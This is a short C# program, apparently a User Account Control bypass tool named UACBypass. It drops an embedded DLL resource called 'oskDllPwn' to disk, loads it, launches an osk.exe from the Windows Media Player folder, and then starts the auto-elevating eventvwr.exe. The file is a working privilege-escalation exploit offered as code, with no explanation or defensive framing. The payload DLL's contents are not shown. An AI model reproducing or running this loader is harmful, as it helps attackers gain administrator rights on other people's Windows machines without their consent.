using System; using System.Diagnostics; using System.IO; using System.Runtime.InteropServices; using System.Threading; using UACBypass.Properties; namespace UACBypass { class Program { static void Main(string[] args) { Console.WriteLine("Extract payload-dll"); File.WriteAllBytes("Payload.dll", Resources.oskDllPwn); // dll resource here Console.WriteLine("Exec payload-dll"); LoadLibrary("Payload.dll"); Console.WriteLine("Wait for apply 5s..."); Thread.Sleep(5000); Console.WriteLine("Start elevator"); Process.Start("C:\\Program Files\\Windows Media Player\\osk.exe"); Thread.Sleep(500); Console.WriteLine("Start target app"); Process.Start(@"C:\Windows\system32\eventvwr.exe"); } [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)] static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName); } }